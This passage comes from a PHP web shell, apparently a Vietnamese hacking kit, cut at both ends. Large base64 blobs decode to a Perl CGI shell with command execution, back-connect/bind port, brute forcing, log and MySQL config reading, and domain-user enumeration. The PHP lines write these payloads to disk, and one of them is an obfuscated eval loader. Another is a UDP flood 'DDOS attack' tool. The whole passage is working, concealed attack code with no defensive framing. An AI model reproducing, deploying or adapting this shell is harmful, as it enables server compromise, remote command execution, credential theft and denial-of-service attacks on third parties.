ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdIYW5kUyBUZWFtJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+VCYjMjM0O24gRmlsZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPktpY2sgVGgmIzQzMjsmIzc4OTk7YyBGaWxlPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TiYjNDE3O2kgUyYjNzkwMzsgaCYjNzkxOTt1PC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UyYjNzkyMTsgQyYjNzg0NTtwIFBoJiMyMzM7cDwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPlRoYXkgJiMyNzI7JiM3ODkzO2kgTSYjNzg5OTtpIE5oJiM3ODQ1O3Q8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5IJiMyMjQ7bmggJiMyNzI7JiM3ODk3O25nPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJub3RsaW5lIjsKCQlteSAkaT0wOwoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsKCQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJCX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJbmV4dDsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj4mIzI3MjsmIzc4OTM7aSBUJiMyMzQ7bjwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPiYjMjcyOyYjNzg5MztpIFQmIzIzNDtuPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPlQmIzc4NDM7aSBYdSYjNzg4OTtuZzwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogMDBGRjAwOyc+QyYjNzg0MztuaCBCJiMyMjU7byAhIFNoZWxsICYjMjcyOyYjNzg3NTsgUyYjNzkxNzsgRCYjNzkwOTtuZyBUaGFtIEtoJiM3ODQzO28sIEtoJiMyNDQ7bmcgSGFjazwvZm9udD48L2gzPiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPlRoJiM3ODQ1O3QgQiYjNzg0MTtpLCBLaCYjMjQ0O25nIFRoJiM3ODc1OyBWJiM0MzI7JiM3OTA3O3QgUXVhIE4mIzI0Mzs8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6IDAwRkYwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywKCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywKCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywKCQkJJy92YXIvbG9nL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywKCQkJJy92YXIvbXlzcWwubG9nJywKCQkJJy92YXIvbGliL215c3FsL215LmNuZicsCgkJCScvZXRjL215c3FsL215LmNuZicsCgkJCScvZXRjL215LmNuZicsCgkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtciAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOwoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOwojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyEKJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsKY2hvbXAoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkIik7CglpZighJFdpbk5UKQoJewoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQlpZigkY2htb2QgbmUgMCkKCQl7CgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoJHJlbmFtZSBuZSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJlVwbG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7CglwcmludCAmQmFja0JpbmQ7Cn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=
1256';
1257 $file = fopen("error.log", "w+");
1258 $write = fwrite($file, base64_decode($pythonp));
1259 fclose($file);
1260 chmod("error.log", 0755);
1261 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1262} elseif ($action == 'jump') {
1263 $file = fopen($dir . "jump.php", "w+");
1264 $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVll4WmpsbVVVVlhKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
1265';
1266 $file = fopen("jump.php", "w+");
1267 $write = fwrite($file, base64_decode($perltoolss));
1268 fclose($file);
1269 echo "<iframe src=jump.php width=100% height=720px frameborder=0></iframe> ";
1270} elseif ($action == 'ddos') {
1271 $file = fopen($dir . "hpddos.php", "w+");
1272 $perltoolss = 'PD9waHAgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2lwJ10pICYmIA0KICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3RpbWVvdXQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ2V4VGltZSddKSAmJiANCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgDQogICAgJF9HRVRbJ3BvcnQnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIA0KICAgICRfR0VUWydleFRpbWUnXSAhPSAiIg0KICAgICkgDQogICAgeyANCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IA0KICAgICAgICRwb3J0PSRfR0VUWydwb3J0J107IA0KICAgICAgICRleGVjdXRpb25UaW1lID0gJF9HRVRbJ2V4VGltZSddOyANCiAgICAgICAkbm9PZkJ5dGVzID0gJF9HRVRbJ25vT2ZCeXRlcyddOyANCiAgICAgICAkZGF0YSA9ICIiOyANCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lb3V0J107IA0KICAgICAgICRwYWNrZXRzID0gMDsgDQogICAgICAgJGNvdW50ZXIgPSAkbm9PZkJ5dGVzOyANCiAgICAgICAkbWF4VGltZSA9IHRpbWUoKSArICRleGVjdXRpb25UaW1lOzsgDQogICAgICAgd2hpbGUoJGNvdW50ZXItLSkgDQogICAgICAgeyANCiAgICAgICAgICAgICRkYXRhIC49ICJYIjsgDQogICAgICAgfSANCiAgICAgICAkZGF0YSAuPSAiIEktNDciOyAgDQogICAgICAgcHJpbnQgIlRoZSBwcm9ncmFtIGlzIGFjdGl2ZS4gRG8gbm90IGNsb3NlIHRoaXMgd2luZG93IHdpdGhvdXQgZ2V0dGluZyBub3RpY2VzPGJyPiI7IA0KICAgICAgICAgDQogICAgICAgd2hpbGUoMSkgDQogICAgICAgeyANCiAgICAgICAgICAgICRzb2NrZXQgPSBmc29ja29wZW4oInVkcDovLyRJUCIsICRwb3J0LCAkZXJyb3IsICRlcnJvclN0cmluZywgJHRpbWVvdXQpOyANCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2tldCAsICRkYXRhKTsgDQogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyANCiAgICAgICAgICAgICAgICAkcGFja2V0cysrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZih0aW1lKCkgPj0gJG1heFRpbWUpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICANCiAgICAgICAgZWNobyAiRERPUyBhdHRhY2sgPT4gJElQOiRwb3J0IGNvbXBsZXRlZCBieSBIUDJrMTxiciAvPiI7IA0KICAgICAgICBlY2hvICJUb3RhbCBOdW1iZXIgb2YgQk9UIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgDQogICAgICAgIGVjaG8gIlRvdGFsIERhdGEgU2VudCA9ICIuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkcGFja2V0cyokbm9PZkJ5dGVzKSAuICI8YnIgLz4iOyAgDQogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgDQogICAgfSANCiAgICBlbHNlDQogICAgeyANCiAgICAgICAgPz4NCgkJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vaS5pbWd1ci5jb20vREFSYzMyZS5wbmciLz4NCgkJPGJvZHkgYmFja2dyb3VuZD1odHRwOi8va2hvaGluaG5lbi5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTQvMTIvaGluaC1uZW4tbXVhLXNhby1iYW5nLWRlcC0xNC5qcGc+DQoJCTxtZXRhIGNoYXJzZXQ9dXRmLTg+DQogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gDQogICAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KdmFyIHJldiA9ICJmd2QiOw0KZnVuY3Rpb24gdGl0bGViYXIodmFsKQ0Kew0KdmFyIG1zZyA9ICI6Oi4gSMawbmcgUGjDuiBERE9TIC46OiI7DQp2YXIgcmVzID0gIiAiOw0KdmFyIHNwZWVkID0gMTAwOw0KdmFyIHBvcyA9IHZhbDsNCm1zZyA9ICI9PlsgIittc2crIiBdPD0iOw0KdmFyIGxlID0gbXNnLmxlbmd0aDsNCmlmKHJldiA9PSAiZndkIil7DQppZihwb3MgPCBsZSl7DQpwb3MgPSBwb